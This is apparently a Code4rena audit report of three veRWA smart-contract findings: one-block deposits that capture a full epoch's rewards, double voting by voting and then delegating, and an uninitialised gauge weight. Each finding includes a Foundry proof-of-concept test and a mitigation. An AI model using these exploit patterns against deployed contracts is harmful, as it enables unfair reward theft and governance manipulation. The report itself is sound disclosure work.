veRWA - 0xComfyCat's results

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/main/src/LendingLedger.sol#L129 https://github.com/code-423n4/2023-08-verwa/blob/main/src/LendingLedger.sol#L152

Vulnerability details

Impact

Assuming the lending market that call sync_ledger doesn't have a deposit locking mechanism. Users can deposit to lending market at the last block of an epoch x and withdraw immediately the next block (now at epoch x+1). They will still be eligible for reward of the whole epoch x though they only deposited for 1 block duration. This reward distribution is unfair for long-term depositors.

Proof of Concept

contract PoC is Test {
    VotingEscrow ve;
    GaugeController controller;
    LendingLedger ledger;

    address governance = makeAddr("governance");
    address market1 = makeAddr("market1");
    address ALICE = makeAddr("ALICE");
    address BOB = makeAddr("BOB");

    function setUp() public {
        ve = new VotingEscrow("ve", "ve");
        controller = new GaugeController(address(ve), governance);
        ledger = new LendingLedger(address(controller), governance);

        vm.prank(governance);
        ledger.whiteListLendingMarket(market1, true);
    }

    function testSyncLedgerAndClaim() public {
        uint256 epoch1StartAt = 604800; // 1 week
        vm.warp(epoch1StartAt);

        // BOB deposit at start of epoch 1
        vm.prank(market1);
        ledger.sync_ledger(BOB, int256(1 ether));

        // warp to last second of epoch 1
        vm.warp(epoch1StartAt + 1 weeks - 1);

        // ALICE deposit at last second of epoch 1
        vm.prank(market1);
        ledger.sync_ledger(ALICE, int256(1 ether));

        // warp to next epoch
        vm.warp(epoch1StartAt + 1 weeks);
        // epoch 1 reward become claimable

        // ALICE withdraw immediately at start of epoch 2 (only 1 second passed since deposit)
        vm.prank(market1);
        ledger.sync_ledger(ALICE, -int256(1 ether));

        // Seed epoch 1 reward
        vm.prank(governance);
        ledger.setRewards(epoch1StartAt, epoch1StartAt, 1 ether);
        deal(address(ledger), 1 ether);

        vm.mockCall(
            address(controller),
            abi.encodeWithSignature(
                "gauge_relative_weight_write(address,uint256)"
            ),
            abi.encode(1 ether)
        );

        // BOB claim reward
        vm.prank(BOB);
        ledger.claim(market1, 0, type(uint256).max);
        assertEq(BOB.balance, 0.5 ether);

        // ALICE still get reward for that epoch equal to BOB even though she deposited for 1 second
        vm.prank(ALICE);
        ledger.claim(market1, 0, type(uint256).max);
        assertEq(ALICE.balance, 0.5 ether);
    }
}

Tools Used

• Manual inspection
• Foundry

Recommended Mitigation Steps

Add deposit locking mechanism to lending market or use second-based rewarding similar to MasterChef

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/main/src/VotingEscrow.sol#L356 https://github.com/code-423n4/2023-08-verwa/blob/main/src/GaugeController.sol#L211

Vulnerability details

Impact

delegate can be used to delegate voting power of a user to another user. However, it doesn't check if the user had cast a vote prior to delegation. Unlike Curve, vote_for_gauge_weights allow user to re-cast a vote as many time as they wanted within an epoch. As a result, It is possible to inflate voting power by

1. Cast a vote
2. Delegate to another user
3. Another user cast a vote with delegated voting power

Proof of Concept

Following Forge test showed that after user cast a vote, they can delegate to another user and that voting power would be counted again. The test compare total voting power of 2 scenario: 1) 2 users vote normally 2) vote then delegate. As a result, the latter scenario has more vote the the former.

contract PoC is Test {
    VotingEscrow ve;
    GaugeController controller;
    LendingLedger ledger;

    address governance = makeAddr("governance");
    address mockGauge = makeAddr("mockGauge");
    address ALICE = makeAddr("ALICE");
    address BOB = makeAddr("BOB");

    function setUp() public {
        ve = new VotingEscrow("ve", "ve");
        controller = new GaugeController(address(ve), governance);
        ledger = new LendingLedger(address(controller), governance);
    }

    function testDelegateDoubleVote() public {
        // Prepare
        vm.warp(1 weeks);
        vm.startPrank(governance);
        controller.add_gauge(mockGauge);
        controller.change_gauge_weight(mockGauge, 100);
        vm.stopPrank();
        // ALICE create lock
        deal(ALICE, 1 ether);
        vm.prank(ALICE);
        ve.createLock{value: 1 ether}(1 ether);
        // BOB create lock
        deal(BOB, 1 ether);
        vm.prank(BOB);
        ve.createLock{value: 1 ether}(1 ether);

        // Comparing voting power of normal vote vs delegate vote
        uint256 snapshot = vm.snapshot();

        //
        // Scenario 1: ALICE and BOB vote normally
        //

        vm.prank(ALICE);
        controller.vote_for_gauge_weights(mockGauge, 10000);
        vm.prank(BOB);
        controller.vote_for_gauge_weights(mockGauge, 10000);
        uint256 weightNormalVote = controller.get_gauge_weight(mockGauge);

        // Total voting power if vote normally
        assertEq(weightNormalVote, 1986849314832614500);

        vm.revertTo(snapshot);

        //
        // Scenario 2: ALICE vote first, then delegate to BOB to vote
        //

        vm.startPrank(ALICE);
        // ALICE vote first
        controller.vote_for_gauge_weights(mockGauge, 10000);
        // Then delegate to BOB
        ve.delegate(BOB);
        vm.stopPrank();

        // BOB vote. The vote includes extra voting power from ALICE
        vm.prank(BOB);
        controller.vote_for_gauge_weights(mockGauge, 10000);

        uint256 weightDoubleVote = controller.get_gauge_weight(mockGauge);

        // Total voting power if vote then delegate
        assertEq(weightDoubleVote, 2980273972405564900);
    }
}

Tools Used

• Manual inspection
• Foundry

Recommended Mitigation Steps

Reject delegation if user had a vote casted

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/main/src/GaugeController.sol#L118

Vulnerability details

Impact

In Curve's implementation, when adding gauge, time_weight of gauge type is being initialized and time_sum being updated.

    if self.time_sum[gauge_type] == 0:
        self.time_sum[gauge_type] = next_time
    self.time_weight[addr] = next_time

Since time_sum has been set in constructor and can be updated in _get_sum so impact of not updating it while adding gauge is not much. But _get_weight relies on time_weight to enter the loop to backfill previous points. If the value are not initialized (zero) it won't backfill properly and will always return 0. Thus, points_weight won't be updated correctly when voting.

uint256 old_weight_bias = _get_weight(_gauge_addr); // @audit - always return 0
        uint256 old_weight_slope = points_weight[_gauge_addr][next_time].slope;
        uint256 old_sum_bias = _get_sum();
        uint256 old_sum_slope = points_sum[next_time].slope;

        // @audit - max(0 + new_bias, 0) at best it will be the max of new_bias
        // meaning that each user vote will override each other but not accumulated
        points_weight[_gauge_addr][next_time].bias = Math.max(old_weight_bias + new_bias, old_bias) - old_bias;
        // @audit - while sum accumulates correctly
        points_sum[next_time].bias = Math.max(old_sum_bias + new_bias, old_bias) - old_bias;

For the gauge to work, it requires admin to call change_gauge_weight to initialize at least once before that gauge become functional.

There is also another issue. If a user vote between adding gauge and changing weight, their subsequent vote will be counted incorrectly until they reset their weight for that gauge due to their bias being reset when changing gauge weight.

Proof of Concept

Following Forge test compare vote result of

1. Voting before change_gauge_weight being called
2. Voting after change_gauge_weight being called It showed that relative weight is correct only when change_gauge_weight is being called prior to voting

contract PoC is Test {
    uint256 WEEK = 7 days;

    VotingEscrow ve;
    GaugeController controller;

    address governance = makeAddr("governance");
    address mockGauge = makeAddr("mockGauge");
    address ALICE = makeAddr("ALICE");
    address BOB = makeAddr("BOB");

    function setUp() public {
        ve = new VotingEscrow("ve", "ve");
        controller = new GaugeController(address(ve), governance);
    }

    function testAddGaugeInit() public {
        // Prepare gauge (incorrectly initialized)
        vm.warp(1 weeks);
        vm.prank(governance);
        controller.add_gauge(mockGauge);
        // ALICE create lock
        deal(ALICE, 1 ether);
        vm.prank(ALICE);
        ve.createLock{value: 1 ether}(1 ether);
        // BOB create lock
        deal(BOB, 1 ether);
        vm.prank(BOB);
        ve.createLock{value: 1 ether}(1 ether);

        uint256 nextTime = ((block.timestamp + WEEK) / WEEK) * WEEK;

        uint256 snapshot = vm.snapshot();

        // Users vote but incorrectly counted
        vm.prank(ALICE);
        controller.vote_for_gauge_weights(mockGauge, 10000);
        assertEq(
            controller.gauge_relative_weight_write(mockGauge, nextTime),
            1e18 // 100%
        );
        vm.prank(BOB);
        controller.vote_for_gauge_weights(mockGauge, 10000);
        assertEq(
            controller.gauge_relative_weight_write(mockGauge, nextTime),
            5e17 // 50% due to gauge's bias not being accumulated while sum bias is
        );

        vm.revertTo(snapshot);

        // This time initialize gauge properly
        vm.prank(governance);
        controller.change_gauge_weight(mockGauge, 0);

        // Users vote, correctly counted this time
        vm.prank(ALICE);
        controller.vote_for_gauge_weights(mockGauge, 10000);
        vm.prank(BOB);
        controller.vote_for_gauge_weights(mockGauge, 10000);

        // Should be correct at 100% now
        assertEq(
            controller.gauge_relative_weight_write(mockGauge, nextTime),
            1e18
        );
    }
}

Tools Used

• Manual inspection
• Foundry

Recommended Mitigation Steps

Initialize and update properly

    function add_gauge(address _gauge) external onlyGovernance {
        require(!isValidGauge[_gauge], "Gauge already exists");
        isValidGauge[_gauge] = true;
        uint256 next_time = ((block.timestamp + WEEK) / WEEK) * WEEK;
        time_weight[_gauge] = next_time;
        time_sum = next_time;
        emit NewGauge(_gauge);
    }

Assessed type

Other